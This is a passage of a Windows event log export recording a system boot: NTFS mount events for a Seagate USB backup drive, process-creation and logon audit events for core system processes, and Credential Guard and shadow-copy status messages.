 Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 82525\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.370\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 161\n           Longest run cached: 23.86 GB\n           Most populated bin Count: 16\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.540\t101\tInitialized VolumeCacheMap for device guid: {5285d7ae-0000-0000-0000-300432000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:55.548\t1\t\tInformation\tSystem\tWDTDrv\n05.09.2026 08:28:55.712\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x5e8\n\tNew Process Name:\tC:\\Windows\\System32\\smss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x3d0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.715\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x5f0\n\tNew Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4b0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.716\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x5f8\n\tNew Process Name:\tC:\\Windows\\System32\\csrss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5e8\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.731\t19\t\"Virtualization Based Security new timer creation status\n\nHRESULT: The operation completed successfully.\nNew latch timer needed: false\nNew latch timer waiting for system update completion: false\nPrevious latch timer exists but disabled by registry: false\nPolicy file exists: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.731\t24\t\"Boot App Anti-Rollback: Timer start completed with status:\n\nWin32Error: 0\nStart time: \u200e2026\u200e-\u200e08\u200e-\u200e12T18:07:00.129105700Z\nGrace period: 51840000000000\nDue time: \u200e2026\u200e-\u200e10\u200e-\u200e11T18:07:00.129105700Z\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.731\t25\t\"Boot App Anti-Rollback: Previous timer resumed with status:\n\nHRESULT: The operation completed successfully.\nPrevious timer present: true\nStart time: \u200e2026\u200e-\u200e08\u200e-\u200e12T18:07:00.129105700Z\nGrace period: 51840000000000\nAttempted recovery enforcement succeeded: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.731\t23\t\"Boot App Anti-Rollback: Initialize Completed with status:\nHRESULT: The operation completed successfully.\nNew timer needed: false\nNew timer waiting for system update completion: false\nPrevious latch timer exists but disabled by registry: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.987\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Device number: 1\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 457 ms\n           Longest stage: 7. Duration 246 ms (54% of the total)\n           Second longest stage: 8. Duration 156 ms (34% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.987\t98\tVolume F: (\\Device\\HarddiskVolume9) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.987\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 228940\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.987\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 1036\n           Longest run cached: 37.35 MB\n           Most populated bin Count: 38\n           Most populated bin's minimum length: 8 KB\n           Most populated bin's maximum length: 8 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.220\t101\tInitialized VolumeCacheMap for device guid: {5285d7ae-0000-0000-0000-a058d5000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:56.502\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Device number: 1\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 345 ms\n           Longest stage: 8. Duration 125 ms (36% of the total)\n           Second longest stage: 7. Duration 62 ms (18% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.502\t98\tVolume G: (\\Device\\HarddiskVolume10) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.502\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 37990\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.502\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 193\n           Longest run cached: 4.90 GB\n           Most populated bin Count: 68\n           Most populated bin's minimum length: 0 Bytes\n           Most populated bin's maximum length: 4 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.556\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:28:56.782\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:28:57.027\t25\tThe shadow copies of volume C: were deleted because the shadow copy storage could not grow in time.  Consider reducing the IO load on the system or choose a shadow copy storage volume that is not being shadow copied.\tError\tSystem\tVolsnap\n05.09.2026 08:28:57.080\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x66c\n\tNew Process Name:\tC:\\Windows\\System32\\winlogon.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5e8\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.081\t1010\t\"Device STORAGE\\VolumeSnapshot\\HarddiskVolumeSnapshot1 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:57.082\t1010\t\"Device STORAGE\\VolumeSnapshot\\HarddiskVolumeSnapshot2 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:57.082\t1010\t\"Device STORAGE\\VolumeSnapshot\\HarddiskVolumeSnapshot3 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:57.082\t300\t\"NTFS volume dismount has started.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n           \n           Adapter serial number: \n           \n           Process Id: 4\n           Process name: System\n           \n           Reason: Surprise removal\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:57.083\t303\t\"The NTFS volume has successfully dismounted.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: Windows\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Process Id: 4\n           Process name: System\n           \n           Reason: Surprise removal\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:57.098\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x68c\n\tNew Process Name:\tC:\\Windows\\System32\\services.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5f0\n\tCreator Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.116\t14\t\"Credential Guard configuration:\n\nRegistry Configuration: 0x0\nTest Configuration: 0\nAuto Enablement: 0\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:57.120\t5\tSecure Trustlet NULL Id 0 and Pid 0 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:57.120\t1\tSecure Trustlet \\??\\C:\\WINDOWS\\system32\\lsaiso.exe Id 1 and Pid 1720 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:57.120\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x6b8\n\tNew Process Name:\tC:\\Windows\\System32\\LsaIso.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5f0\n\tCreator Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.121\t18\tVBS Key Isolation was started and will protect VSM-isolated keys.\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:57.124\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x6c4\n\tNew Process Name:\tC:\\Windows\\System32\\lsass.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5f0\n\tCreator Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.352\t6156\t\"Credential Guard auto enablement status.\n\nHardware Requirements for Virtualization Based Security:\t1\nDomain Joined:\t0\nAzure AD Joined:\t0\n Licensed for Credential Guard:\t0\nDomain Controller:\t0\"\tInformation\tSystem\tLsaSrv\n05.09.2026 08:28:57.358\t6417\t\"The FIPS mode crypto selftests succeeded.\n\n\tProcess ID:\t\t0x6c4\n\tProcess Name:\t\tC:\\Windows\\System32\\lsass.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.359\t4608\t\"Windows is starting up.\n\nThis event is logged when LSASS.EXE starts and the auditing subsystem is initialized.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.361\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nLogon Information:\n\tLogon Type:\t\t0\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\t-\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x4\n\tProcess Name:\t\t\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\t-\n\tAuthentication Package:\t-\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.398\t5\tSecure Trustlet NULL Id 0 and Pid 0 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:57.440\t4902\t\"The Per-user audit policy table was created.\n\nNumber of Elements:\t0\nPolicy ID:\t0x14306\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.442\t16962\t\"Remote calls to the SAM database are being restricted using the default security descriptor: O:SYG:SYD:(A;;RC;;;BA).\nFor more information please see http://go.microsoft.com/fwlink/?LinkId=787651.\"\tInformation\tSystem\tMicrosoft-Windows-Directory-Services-SAM\n05.09.2026 08:28:57.447\t16977\t\"The domain is configured with the following minimum password length-related settings.\n\nMinimumPasswordLength: 0\n\nRelaxMinimumPasswordLengthLimits: 0\n\nMinimumPasswordLengthAudit: -1\n\nFor more information see https://go.microsoft.com/fwlink/?LinkId=2097191.\n\"\tInformation\tSystem\tMicrosoft-Windows-Directory-Services-SAM\n05.09.2026 08:28:57.447\t16983\t\"The security account manager is now logging periodic summary events for remote clients that call legacy password change or set RPC methods.\n\nFor more information please see https://go.microsoft.com/fwlink/?linkid=2150956.\n\"\tInformation\tSystem\tMicrosoft-Windows-Directory-Services-SAM\n05.09.2026 08:28:57.458\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tUMFD-0\n\tAccount Domain:\t\tFont Driver Host\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0x5f0\n\tProcess Name:\t\tC:\\Windows\\System32\\wininit.exe\n\nNetwork Information:\n\tNetwork Address:\t-\n\tPort:\t\t\t-\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.458\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tYes\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-96-0-0\n\tAccount Name:\t\tUMFD-0\n\tAccount Domain:\t\tFont Driver Host\n\tLogon ID:\t\t0x147B8\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x5f0\n\tProcess Name:\t\tC:\\Windows\\System32\\wininit.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.458\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tUMFD-1\n\tAccount Domain:\t\tFont Driver Host\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tNetwork Address:\t-\n\tPort:\t\t\t-\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS 